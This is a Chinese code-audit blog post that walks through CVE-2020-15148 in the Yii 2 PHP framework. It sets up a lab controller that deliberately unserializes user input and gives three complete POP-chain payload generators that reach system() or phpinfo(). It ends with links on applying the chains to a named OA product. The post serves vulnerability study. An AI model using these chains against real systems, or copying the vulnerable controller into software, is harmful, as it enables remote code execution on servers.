PHP框架开发篇&Yii反序列化&POP利用链&某达OA&某商城&CVE分析

Ethan医生6个月前代码审计189


参考资料:CVE-2020-15148漏洞分析

https://www.extrader.top/posts/c79847ee

https://www.anquanke.com/post/id/254429

https://blog.csdn.net/unexpectedthing/article/details/123829375

 

1、环境部署:

phpstudy php7.4.3 Apache Yii-2.0.37

 

2、添加入口:

controllers/TestController.php

<?php

namespace app\controllers;

 

use yii\web\Controller;

 

class TestController extends Controller{

public function actionTest($data){

return unserialize(base64_decode($data));

}

}

 

3、反序列化链分析:

#POP链1:

yii\db\BatchQueryResult::__destruct()->reset()->close()

->$_dataReader

GuzzleHttp\Psr7::close()->call_user_func

->$_fn_close

 

<?php

//GuzzleHttp\Psr7::close()->call_user_func

//->$_fn_close

namespace GuzzleHttp\Psr7{

class FnStream{

var $_fn_close = "phpinfo";

}

}

 

//yii\db\BatchQueryResult::__destruct()->reset()->close()

//->$_dataReader

namespace yii\db{

use GuzzleHttp\Psr7\FnStream;

class BatchQueryResult{

private $_dataReader;

public function __construct()

{

$this->_dataReader=new FnStream();

}

}

}

 

namespace{

use yii\db\BatchQueryResult;

echo base64_encode(serialize(new BatchQueryResult()));

}

 

 

#POP链2:

yii\db\BatchQueryResult::__destruct()->reset()->close()

->$_dataReader

Faker\Generator::__call()->format()->call_user_func_array()

->$formatters['close']

\yii\rest\IndexAction::run->call_user_func()

->$checkAccess $id

 

<?php

//\yii\rest\IndexAction::run->call_user_func()

//->$checkAccess $id

namespace yii\rest{

class IndexAction

{

public $checkAccess;

public $id;

 

public function __construct()

{

$this->checkAccess = 'system';

$this->id = 'calc';

}

}

}

//Faker\Generator::__call()->format()->call_user_func_array()

//->$formatters['close']

namespace Faker{

use \yii\rest\IndexAction;

class Generator{

protected $formatters = array();

 

 

public function __construct()

{

$this->formatters['close'] = [new IndexAction(), 'run'];

}

}

}

//yii\db\BatchQueryResult::__destruct()->reset()->close()

//->$_dataReader

namespace yii\db{

use Faker\Generator;

class BatchQueryResult{

private $_dataReader;

public function __construct()

{

$this->_dataReader=new Generator();

}

}

 

}

 

namespace{

use yii\db\BatchQueryResult;

echo base64_encode(serialize(new BatchQueryResult()));

}

 

 

#POP链3:

yii\db\BatchQueryResult::__destruct()->reset()->close()

->$_dataReader

Faker\Generator::__call()->format()->call_user_func_array()

->$formatters['close']

\yii\rest\CreateAction::run->call_user_func()

->$checkAccess $id

 

<?php

//\yii\rest\CreateAction::run->call_user_func()

//->$checkAccess $id

namespace yii\rest{

class CreateAction{

public $checkAccess;

public $id;

public function __construct(){

$this->checkAccess = 'system';

$this->id = 'calc'; //命令执行

}

}

}

 

//Faker\Generator::__call()->format()->call_user_func_array()

//->$formatters['close']

namespace Faker {

use yii\rest\CreateAction;

class Generator

{

protected $formatters;

public function __construct()

{

$this->formatters['close'] = [new CreateAction(), 'run'];

}

}

}

 

//yii\db\BatchQueryResult::__destruct()->reset()->close()

//->$_dataReader

namespace yii\db{

use Faker\Generator;

class BatchQueryResult{

private $_dataReader;

public function __construct()

{

$this->_dataReader=new Generator();

}

}

}

 

namespace{

use yii\db\BatchQueryResult;

echo base64_encode(serialize(new BatchQueryResult()));

}

 

#实际结合:

1、通达OA-Yii反序列化结合

https://xz.aliyun.com/t/12855

https://forum.butian.net/index.php/share/2415

2、攻防演练审计和0day漏洞挖掘

https://mp.weixin.qq.com/s/L5uklnBuolfqEg-bR4V0rQ


标签: PHPYii

相关文章

JavaEE开发篇&Shiro反序列化&DNS利用链&CC利用链&AES动态调试

Shiro框架:Apache Shiro是一个强大且易用的Java安全框架,提供认证、授权、加密和会话管理等功能。#Shiro反序列化链知识点:1、Shiro用途和验证逻辑2、Shiro反序列化怎么造...

PHP原生开发篇&SQL注入&数据库监控&正则搜索&文件定位&静态分析

PHP原生开发篇&SQL注入&数据库监控&正则搜索&文件定位&静态分析

挖掘技巧:-语句监控-数据库SQL监控排查可利用语句定向分析-功能追踪-功能点文件SQL执行代码函数调用链追踪-正则搜索-(update|select|insert|delete|).*?where....

代码审计-JavaEE开发篇&第三方组件&依赖库挖掘&FastJson&Shrio&Log4j&H2DB

#JavaEE审计-第三方组件安全1、找存在漏洞的第三方组件(Package Checker插件)2、找组件漏洞利用入口条件(根据网上已知漏洞复现条件)3、找可控地方进行测试检测(根据网上已知漏洞利用...

JavaEE开发篇&手搓内存马&Listen监听器&Filter过滤器&Servlet路由器

JavaEE开发篇&手搓内存马&Listen监听器&Filter过滤器&Servlet路由器

#知识预备:1、三大类:Listen,Filter,Servlet2、内存马技术解读(类型,植入,查杀等)3、其他技术原理分类(见上图见打包资源)(红队方向)了解什么是内存马,它有那些类型,和常规Sh...

PHP原生开发篇&文件安全&上传监控&功能定位&关键搜索&1day挖掘

PHP原生开发篇&文件安全&上传监控&功能定位&关键搜索&1day挖掘

快速分析脆弱:1、看文件路径2、看代码里面的变量(可控)3、看变量前后的过滤 文件安全挖掘点:1、脚本文件名2、应用功能点3、操作关键字文件上传,文件下载(读取),文件包含,文件删除等&nb...

JavaEE开发篇&JNDI注入&高版本绕过&组件利用&LDAP服务&RMI服务

JavaEE开发篇&JNDI注入&高版本绕过&组件利用&LDAP服务&RMI服务

#JNDI注入-低版本-原生开发&触发模式-重要知识:1、JNDI,LDAP,RMI,反序列化关系2、LDAP,RMI利用时JDK版本限制3、JDK高版本绕过方法的所需条件注:前面2个知识点可...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。